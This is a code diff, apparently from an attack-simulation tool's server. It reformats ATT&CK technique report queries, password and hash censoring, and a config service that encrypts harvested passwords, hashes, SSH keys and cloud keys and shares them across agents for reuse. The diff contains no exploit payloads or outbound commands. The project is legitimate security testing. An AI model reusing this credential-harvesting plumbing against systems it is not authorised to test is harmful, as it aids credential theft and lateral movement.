{"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): data = T1222.get_tech_base_data() - data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))}) + data.update({"commands": list(mongo.db.telemetry.aggregate(T1222.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index c2ed8d3f8..de2571b6b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -1,23 +1,36 @@ from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1504(PostBreachTechnique): tech_id = "T1504" - unscanned_msg = "Monkey didn't try modifying powershell startup files since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try modifying powershell startup files since it didn't run on " + "any Windows machines." + ) scanned_msg = "Monkey tried modifying powershell startup files but failed." used_msg = "Monkey successfully modified powershell startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] @staticmethod def get_pba_query(*args): - return [{'$match': {'telem_category': 'post_breach', - 'data.name': POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION}}, - {'$project': {'_id': 0, - 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, - 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, - 'result': '$data.result'}}, - {'$unwind': '$result'}, - {'$match': {'result': {'$regex': r'profile\.ps1'}}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "result": "$data.result", + } + }, + {"$unwind": "$result"}, + {"$match": {"result": {"$regex": r"profile\.ps1"}}}, + ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 61c1f89bd..40a421d74 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -9,9 +9,10 @@ from monkey_island.cc.services.attack.attack_config import AttackConfig logger = logging.getLogger(__name__) - -disabled_msg = "This technique has been disabled. " +\ - "You can enable it from the [configuration page](../../configure)." +disabled_msg = ( + "This technique has been disabled. " + + "You can enable it from the [configuration page](../../configure)." +) class AttackTechnique(object, metaclass=abc.ABCMeta): @@ -65,13 +66,21 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ if not cls._is_enabled_in_config(): return ScanStatus.DISABLED.value - elif mongo.db.telemetry.find_one({'telem_category': 'attack', - 'data.status': ScanStatus.USED.value, - 'data.technique': cls.tech_id}): + elif mongo.db.telemetry.find_one( + { + "telem_category": "attack", + "data.status": ScanStatus.USED.value, + "data.technique": cls.tech_id, + } + ): return ScanStatus.USED.value - elif mongo.db.telemetry.find_one({'telem_category': 'attack', - 'data.status': ScanStatus.SCANNED.value, - 'data.technique': cls.tech_id}): + elif mongo.db.telemetry.find_one( + { + "telem_category": "attack", + "data.status": ScanStatus.SCANNED.value, + "data.technique": cls.tech_id, + } + ): return ScanStatus.SCANNED.value else: return ScanStatus.UNSCANNED.value @@ -83,7 +92,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {'message': cls.get_message_by_status(status), 'status': status} + return {"message": cls.get_message_by_status(status), "status": status} @classmethod def get_message_by_status(cls, status): @@ -106,27 +115,28 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(cls.tech_id)['title'] + return AttackConfig.get_technique(cls.tech_id)["title"] @classmethod def get_tech_base_data(cls): """ Gathers basic attack technique data into a dict. - :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'} + :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute + force'} """ data = {} status = cls.technique_status() title = cls.technique_title() - data.update({'status': status, - 'title': title, - 'message': cls.get_message_by_status(status)}) + data.update( + {"status": status, "title": title, "message": cls.get_message_by_status(status)} + ) data.update(cls.get_mitigation_by_status(status)) return data @classmethod def get_base_data_by_status(cls, status): data = cls.get_message_and_status(status) - data.update({'title': cls.technique_title()}) + data.update({"title": cls.technique_title()}) data.update(cls.get_mitigation_by_status(status)) return data @@ -134,14 +144,19 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): def get_mitigation_by_status(cls, status: ScanStatus) -> dict: if status == ScanStatus.USED.value: mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id)) - return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']} + return {"mitigations": mitigation_document.to_mongo().to_dict()["mitigations"]} else: return {} @classmethod def is_status_disabled(cls, get_technique_status_and_data) -> bool: def check_if_disabled_in_config(): - return (ScanStatus.DISABLED.value, []) if not cls._is_enabled_in_config() else get_technique_status_and_data() + return ( + (ScanStatus.DISABLED.value, []) + if not cls._is_enabled_in_config() + else get_technique_status_and_data() + ) + return check_if_disabled_in_config @classmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index da475c697..5460caf4c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -20,38 +20,51 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): @classmethod def get_pba_query(cls, post_breach_action_names): """ - :param post_breach_action_names: Names of post-breach actions with which the technique is associated + :param post_breach_action_names: Names of post-breach actions with which the technique is + associated (example - `["Communicate as new user", "Backdoor user"]` for T1136) :return: Mongo query that parses attack telemetries for a simple report component (gets machines and post-breach action usage). """ - return [{'$match': {'telem_category': 'post_breach', - '$or': [{'data.name': pba_name} for pba_name in post_breach_action_names]}}, - {'$project': {'_id': 0, - 'machine': {'hostname': '$data.hostname', - 'ips': ['$data.ip']}, - 'result': '$data.result'}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "$or": [{"data.name": pba_name} for pba_name in post_breach_action_names], + } + }, + { + "$project": { + "_id": 0, + "machine": {"hostname": "$data.hostname", "ips": ["$data.ip"]}, + "result": "$data.result", + } + }, + ] @classmethod def get_report_data(cls): """ :return: Technique's report data aggregated from the database """ + @cls.is_status_disabled def get_technique_status_and_data(): info = list(mongo.db.telemetry.aggregate(cls.get_pba_query(cls.pba_names))) status = ScanStatus.UNSCANNED.value if info: - successful_PBAs = mongo.db.telemetry.count({ - '$or': [{'data.name': pba_name} for pba_name in cls.pba_names], - 'data.result.1': True - }) + successful_PBAs = mongo.db.telemetry.count( + { + "$or": [{"data.name": pba_name} for pba_name in cls.pba_names], + "data.result.1": True, + } + ) status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value return (status, info) - data = {'title': cls.technique_title()} + data = {"title": cls.technique_title()} status, info = get_technique_status_and_data() data.update(cls.get_base_data_by_status(status)) - data.update({'info': info}) + data.update({"info": info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 34be687a4..0a9a1045b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor def parse_creds(attempt): @@ -7,16 +7,16 @@ def parse_creds(attempt): :param attempt: login attempt from database :return: string with username and used password/hash """ - username = attempt['user'] - creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, - 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, - 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, - 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + username = attempt["user"] + creds = { + "lm_hash": {"type": "LM hash", "output": censor_hash(attempt["lm_hash"])}, + "ntlm_hash": {"type": "NTLM hash", "output": censor_hash(attempt["ntlm_hash"], 20)}, + "ssh_key": {"type": "SSH key", "output": attempt["ssh_key"]}, + "password": {"type": "Plaintext password", "output": censor_password(attempt["password"])}, + } for key, cred in list(creds.items()): if attempt[key]: - return '%s ; %s : %s' % (username, - cred['type'], - cred['output']) + return "%s ; %s : %s" % (username, cred["type"], cred["output"]) def censor_password(password, plain_chars=3, secret_chars=5): @@ -29,8 +29,8 @@ def censor_password(password, plain_chars=3, secret_chars=5): """ if not password: return "" - password = encryptor.dec(password) - return password[0:plain_chars] + '*' * secret_chars + password = get_encryptor().dec(password) + return password[0:plain_chars] + "*" * secret_chars def censor_hash(hash_, plain_chars=5): @@ -42,5 +42,5 @@ def censor_hash(hash_, plain_chars=5): """ if not hash_: return "" - hash_ = encryptor.dec(hash_) - return hash_[0: plain_chars] + ' ...' + hash_ = get_encryptor().dec(hash_) + return hash_[0:plain_chars] + " ..." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py index 862207505..bfa406b96 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -14,10 +14,12 @@ class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta): :return: usage string """ try: - usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + usage["usage"] = UsageEnum[usage["usage"]].value[usage["status"]] except KeyError: - logger.error("Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses.") + logger.error( + "Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses." + ) return usage @classmethod @@ -35,17 +37,30 @@ class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta): :return: Query that parses attack telemetries for a simple report component (gets machines and attack technique usage). """ - return [{'$match': {'telem_category': 'attack', - 'data.technique': cls.tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + return [ + {"$match": {"telem_category": "attack", "data.technique": cls.tech_id}}, + { + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "usage": "$data.usage", + } + }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + {"$group": {"_id": {"machine": "$machine", "status": "$status", "usage": "$usage"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] diff --git a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py deleted file mode 100644 index 4866a6729..000000000 --- a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py +++ /dev/null @@ -1,15 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface - - -class TestMitreApiInterface(TestCase): - - def test_get_all_mitigations(self): - mitigations = MitreApiInterface.get_all_mitigations() - self.assertIsNotNone((len(mitigations.items()) >= 282)) - mitigation = next(iter(mitigations.values())) - self.assertEqual(mitigation['type'], "course-of-action") - self.assertIsNotNone(mitigation['name']) - self.assertIsNotNone(mitigation['description']) - self.assertIsNotNone(mitigation['external_references']) diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py index 2d8a14055..05bdac8f1 100644 --- a/monkey/monkey_island/cc/services/bootloader.py +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -4,20 +4,22 @@ from bson import ObjectId from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeCreationException, NodeService -from monkey_island.cc.services.utils.bootloader_config import MIN_GLIBC_VERSION, SUPPORTED_WINDOWS_VERSIONS +from monkey_island.cc.services.utils.bootloader_config import ( + MIN_GLIBC_VERSION, + SUPPORTED_WINDOWS_VERSIONS, +) from monkey_island.cc.services.utils.node_states import NodeStates class BootloaderService: - @staticmethod def parse_bootloader_telem(telem: Dict) -> bool: - telem['ips'] = BootloaderService.remove_local_ips(telem['ips']) - if telem['os_version'] == "": - telem['os_version'] = "Unknown OS" + telem["ips"] = BootloaderService.remove_local_ips(telem["ips"]) + if telem["os_version"] == "": + telem["os_version"] = "Unknown OS" telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True) + mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True) will_monkey_run = BootloaderService.is_os_compatible(telem) try: @@ -26,33 +28,33 @@ class BootloaderService: # Didn't find the node, but allow monkey to run anyways return True - node_group = BootloaderService.get_next_node_state(node, telem['system'], will_monkey_run) - if 'group' not in node or node['group'] != node_group.value: - NodeService.set_node_group(node['_id'], node_group) + node_group = BootloaderService.get_next_node_state(node, telem["system"], will_monkey_run) + if "group" not in node or node["group"] != node_group.value: + NodeService.set_node_group(node["_id"], node_group) return will_monkey_run @staticmethod def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates: - group_keywords = [system, 'monkey'] - if 'group' in node and node['group'] == 'island': - group_keywords.extend(['island', 'starting']) + group_keywords = [system, "monkey"] + if "group" in node and node["group"] == "island": + group_keywords.extend(["island", "starting"]) else: - group_keywords.append('starting') if will_monkey_run else group_keywords.append('old') + group_keywords.append("starting") if will_monkey_run else group_keywords.append("old") node_group = NodeStates.get_by_keywords(group_keywords) return node_group @staticmethod def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId: - ip_hash = hex(hash(str(bootloader_telem['ips'])))[3:15] - hostname_hash = hex(hash(bootloader_telem['hostname']))[3:15] + ip_hash = hex(hash(str(bootloader_telem["ips"])))[3:15] + hostname_hash = hex(hash(bootloader_telem["hostname"]))[3:15] return ObjectId(ip_hash + hostname_hash) @staticmethod def is_os_compatible(bootloader_data) -> bool: - if bootloader_data['system'] == 'windows': - return BootloaderService.is_windows_version_supported(bootloader_data['os_version']) - elif bootloader_data['system'] == 'linux': - return BootloaderService.is_glibc_supported(bootloader_data['glibc_version']) + if bootloader_data["system"] == "windows": + return BootloaderService.is_windows_version_supported(bootloader_data["os_version"]) + elif bootloader_data["system"] == "linux": + return BootloaderService.is_glibc_supported(bootloader_data["glibc_version"]) @staticmethod def is_windows_version_supported(windows_version) -> bool: @@ -61,8 +63,8 @@ class BootloaderService: @staticmethod def is_glibc_supported(glibc_version_string) -> bool: glibc_version_string = glibc_version_string.lower() - glibc_version = glibc_version_string.split(' ')[-1] - return glibc_version >= str(MIN_GLIBC_VERSION) and 'eglibc' not in glibc_version_string + glibc_version = glibc_version_string.split(" ")[-1] + return glibc_version >= str(MIN_GLIBC_VERSION) and "eglibc" not in glibc_version_string @staticmethod def remove_local_ips(ip_list) -> List[str]: diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py deleted file mode 100644 index f71c36184..000000000 --- a/monkey/monkey_island/cc/services/bootloader_test.py +++ /dev/null @@ -1,34 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.services.bootloader import BootloaderService - -WINDOWS_VERSIONS = { - "5.0": "Windows 2000", - "5.1": "Windows XP", - "5.2": "Windows XP/server 2003", - "6.0": "Windows Vista/server 2008", - "6.1": "Windows 7/server 2008R2", - "6.2": "Windows 8/server 2012", - "6.3": "Windows 8.1/server 2012R2", - "10.0": "Windows 10/server 2016-2019" -} - -MIN_GLIBC_VERSION = 2.14 - - -class TestBootloaderService(TestCase): - - def test_is_glibc_supported(self): - str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15" - str2 = "ldd (GNU libc) 2.12" - str3 = "ldd (GNU libc) 2.28" - str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" - self.assertTrue(not BootloaderService.is_glibc_supported(str1) and - not BootloaderService.is_glibc_supported(str2) and - BootloaderService.is_glibc_supported(str3) and - BootloaderService.is_glibc_supported(str4)) - - def test_remove_local_ips(self): - ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] - ips = BootloaderService.remove_local_ips(ips) - self.assertEqual(["192.168.56.1"], ips) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 390380131..ba4083286 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -6,32 +6,38 @@ import logging from jsonschema import Draft4Validator, validators import monkey_island.cc.environment.environment_singleton as env_singleton -import monkey_island.cc.services.post_breach_files +from common.config_value_paths import ( + AWS_KEYS_PATH, + EXPORT_MONKEY_TELEMS_PATH, + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, + PBA_LINUX_FILENAME_PATH, + PBA_WINDOWS_FILENAME_PATH, + SSH_KEYS_PATH, + STARTED_ON_ISLAND_PATH, + USER_LIST_PATH, +) from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryptor import encryptor -from monkey_island.cc.services.utils.network_utils import local_ip_addresses +from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.services.config_manipulator import update_config_per_mode from monkey_island.cc.services.config_schema.config_schema import SCHEMA - -__author__ = "itay.mizeretz" - -from common.config_value_paths import (AWS_KEYS_PATH, EXPORT_MONKEY_TELEMS_PATH, - LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, - PASSWORD_LIST_PATH, SSH_KEYS_PATH, - STARTED_ON_ISLAND_PATH, USER_LIST_PATH) +from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode +from monkey_island.cc.services.post_breach_files import PostBreachFilesService +from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) # This should be used for config values of array type (array of strings only) -ENCRYPTED_CONFIG_VALUES = \ - [ - PASSWORD_LIST_PATH, - LM_HASH_LIST_PATH, - NTLM_HASH_LIST_PATH, - SSH_KEYS_PATH, - AWS_KEYS_PATH + ['aws_access_key_id'], - AWS_KEYS_PATH + ['aws_secret_access_key'], - AWS_KEYS_PATH + ['aws_session_token'] - ] +ENCRYPTED_CONFIG_VALUES = [ + PASSWORD_LIST_PATH, + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + SSH_KEYS_PATH, + AWS_KEYS_PATH + ["aws_access_key_id"], + AWS_KEYS_PATH + ["aws_secret_access_key"], + AWS_KEYS_PATH + ["aws_session_token"], +] class ConfigService: @@ -44,53 +50,65 @@ class ConfigService: def get_config(is_initial_config=False, should_decrypt=True, is_island=False): """ Gets the entire global config. - :param is_initial_config: If True, the initial config will be returned instead of the current config. - :param should_decrypt: If True, all config values which are set as encrypted will be decrypted. + :param is_initial_config: If True, the initial config will be returned instead of the + current config. + :param should_decrypt: If True, all config values which are set as encrypted will be + decrypted. :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ - config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} - for field in ('name', '_id'): + config = ( + mongo.db.config.find_one({"name": "initial" if is_initial_config else "newconfig"}) + or {} + ) + for field in ("name", "_id"): config.pop(field, None) if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) if not is_island: - config.get('cnc', {}).pop('aws_config', None) + config.get("cnc", {}).pop("aws_config", None) return config @staticmethod def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt=True): """ Get a specific config value. - :param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials', 'exploit_password_list']. - :param is_initial_config: If True, returns the value of the initial config instead of the current config. + :param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials', + 'exploit_password_list']. + :param is_initial_config: If True, returns the value of the initial config instead of the + current config. :param should_decrypt: If True, the value of the config key will be decrypted (if it's in the list of encrypted config values). :return: The value of the requested config key. """ - config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr) - config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) + config_key = functools.reduce(lambda x, y: x + "." + y, config_key_as_arr) + config = mongo.db.config.find_one( + {"name": "initial" if is_initial_config else "newconfig"}, {config_key: 1} + ) for config_key_part in config_key_as_arr: config = config[config_key_part] if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: if isinstance(config, str): - config = encryptor.dec(config) + config = get_encryptor().dec(config) elif isinstance(config, list): - config = [encryptor.dec(x) for x in config] + config = [get_encryptor().dec(x) for x in config] return config @staticmethod def set_config_value(config_key_as_arr, value): mongo_key = ".".join(config_key_as_arr) - mongo.db.config.update({'name': 'newconfig'}, - {"$set": {mongo_key: value}}) + mongo.db.config.update({"name": "newconfig"}, {"$set": {mongo_key: value}}) @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) flat_config_json = {} for i in config_json: + if i == "ransomware": + # Don't flatten the ransomware because ransomware payload expects a dictionary #1260 + flat_config_json[i] = config_json[i] + continue for j in config_json[i]: for k in config_json[i][j]: if isinstance(config_json[i][j][k], dict): @@ -107,71 +125,67 @@ class ConfigService: @staticmethod def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_encrypt): - item_key = '.'.join(item_path_array) + item_key = ".".join(item_path_array) items_from_config = ConfigService.get_config_value(item_path_array, False, should_encrypt) if item_value in items_from_config: return if should_encrypt: - item_value = encryptor.enc(item_value) + item_value = get_encryptor().enc(item_value) mongo.db.config.update( - {'name': 'newconfig'}, - {'$addToSet': {item_key: item_value}}, - upsert=False + {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False ) mongo.db.monkey.update( - {}, - {'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}}, - multi=True + {}, {"$addToSet": {"config." + item_key.split(".")[-1]: item_value}}, multi=True ) @staticmethod def creds_add_username(username): - ConfigService.add_item_to_config_set_if_dont_exist(USER_LIST_PATH, - username, - should_encrypt=False) + ConfigService.add_item_to_config_set_if_dont_exist( + USER_LIST_PATH, username, should_encrypt=False + ) @staticmethod def creds_add_password(password): - ConfigService.add_item_to_config_set_if_dont_exist(PASSWORD_LIST_PATH, - password, - should_encrypt=True) + ConfigService.add_item_to_config_set_if_dont_exist( + PASSWORD_LIST_PATH, password, should_encrypt=True + ) @staticmethod def creds_add_lm_hash(lm_hash): - ConfigService.add_item_to_config_set_if_dont_exist(LM_HASH_LIST_PATH, - lm_hash, - should_encrypt=True) + ConfigService.add_item_to_config_set_if_dont_exist( + LM_HASH_LIST_PATH, lm_hash, should_encrypt=True + ) @staticmethod def creds_add_ntlm_hash(ntlm_hash): - ConfigService.add_item_to_config_set_if_dont_exist(NTLM_HASH_LIST_PATH, - ntlm_hash, - should_encrypt=True) + ConfigService.add_item_to_config_set_if_dont_exist( + NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True + ) @staticmethod def ssh_add_keys(public_key, private_key, user, ip): if not ConfigService.ssh_key_exists( - ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip): + ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip + ): ConfigService.add_item_to_config_set_if_dont_exist( SSH_KEYS_PATH, - { - "public_key": public_key, - "private_key": private_key, - "user": user, "ip": ip - }, + {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}, # SSH keys already encrypted in process_ssh_info() - should_encrypt=False - + should_encrypt=False, ) @staticmethod def ssh_key_exists(keys, user, ip): - return [key for key in keys if key['user'] == user and key['ip'] == ip] + return [key for key in keys if key["user"] == user and key["ip"] == ip] def _filter_none_values(data): if isinstance(data, dict): - return {k: ConfigService._filter_none_values(v) for k, v in data.items() if k is not None and v is not None} + return { + k: ConfigService._filter_none_values(v) + for k, v in data.items() + if k is not None and v is not None + } elif isinstance(data, list): return [ConfigService._filter_none_values(item) for item in data if item is not None] else: @@ -179,23 +193,39 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there + # PBA file upload happens on pba_file_upload endpoint and corresponding config options + # are set there config_json = ConfigService._filter_none_values(config_json) - monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json) + ConfigService.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) except KeyError: - logger.error('Bad configuration file was submitted.') + logger.error("Bad configuration file was submitted.") return False - mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - logger.info('monkey config was updated') + mongo.db.config.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) + logger.info("monkey config was updated") return True + @staticmethod + def set_config_PBA_files(config_json): + """ + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified + """ + if ConfigService.get_config(): + linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + + ConfigService.set_config_value(PBA_LINUX_FILENAME_PATH, linux_filename) + ConfigService.set_config_value(PBA_WINDOWS_FILENAME_PATH, windows_filename) + @staticmethod def init_default_config(): if ConfigService.default_config is None: - default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator) + default_validating_draft4_validator = ConfigService._extend_config_with_default( + Draft4Validator + ) config = {} default_validating_draft4_validator(SCHEMA).validate(config) ConfigService.default_config = config @@ -204,9 +234,12 @@ class ConfigService: def get_default_config(should_encrypt=False): ConfigService.init_default_config() config = copy.deepcopy(ConfigService.default_config) + if should_encrypt: ConfigService.encrypt_config(config) + logger.info("Default config was called") + return config @staticmethod @@ -217,29 +250,37 @@ class ConfigService: @staticmethod def reset_config(): - monkey_island.cc.services.post_breach_files.remove_PBA_files() + PostBreachFilesService.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) - ConfigService.update_config(config, should_encrypt=False) - logger.info('Monkey config reset was called') + try: + mode = get_mode() + update_config_per_mode(mode, config, should_encrypt=False) + except ModeNotSetError: + ConfigService.update_config(config, should_encrypt=False) + logger.info("Monkey config reset was called") @staticmethod def set_server_ips_in_config(config): ips = local_ip_addresses() - config["internal"]["island_server"]["command_servers"] = \ - ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips] - config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port()) + config["internal"]["island_server"]["command_servers"] = [ + "%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips + ] + config["internal"]["island_server"]["current_server"] = "%s:%d" % ( + ips[0], + env_singleton.env.get_island_port(), + ) @staticmethod def save_initial_config_if_needed(): - if mongo.db.config.find_one({'name': 'initial'}) is not None: + if mongo.db.config.find_one({"name": "initial"}) is not None: return - initial_config = mongo.db.config.find_one({'name': 'newconfig'}) - initial_config['name'] = 'initial' - initial_config.pop('_id') + initial_config = mongo.db.config.find_one({"name": "newconfig"}) + initial_config["name"] = "initial" + initial_config.pop("_id") mongo.db.config.insert(initial_config) - logger.info('Monkey config was inserted to mongo and saved') + logger.info("Monkey config was inserted to mongo and saved") @staticmethod def _extend_config_with_default(validator_class): @@ -260,9 +301,11 @@ class ConfigService: layer_3_dict = {} for property4, subschema4 in list(subschema3["properties"].items()): if "properties" in subschema4: - raise ValueError("monkey/monkey_island/cc/services/config.py " - "can't handle 5 level config. " - "Either change back the config or refactor.") + raise ValueError( + "monkey/monkey_island/cc/services/config.py " + "can't handle 5 level config. " + "Either change back the config or refactor." + ) if "default" in subschema4: layer_3_dict[property4] = subschema4["default"] sub_dict[property3] = layer_3_dict @@ -273,7 +316,8 @@ class ConfigService: yield error return validators.extend( - validator_class, {"properties": set_defaults}, + validator_class, + {"properties": set_defaults}, ) @staticmethod @@ -292,14 +336,22 @@ class ConfigService: keys = [config_arr_as_array[-1] for config_arr_as_array in ENCRYPTED_CONFIG_VALUES] for key in keys: - if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str): + if isinstance(flat_config[key], collections.Sequence) and not isinstance( + flat_config[key], str + ): # Check if we are decrypting ssh key pair - if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: - flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] + if ( + flat_config[key] + and isinstance(flat_config[key][0], dict) + and "public_key" in flat_config[key][0] + ): + flat_config[key] = [ + ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key] + ] else: - flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + flat_config[key] = [get_encryptor().dec(item) for item in flat_config[key]] else: - flat_config[key] = encryptor.dec(flat_config[key]) + flat_config[key] = get_encryptor().dec(flat_config[key]) return flat_config @staticmethod @@ -308,31 +360,42 @@ class ConfigService: config_arr = config parent_config_arr = None - # Because the config isn't flat, this for-loop 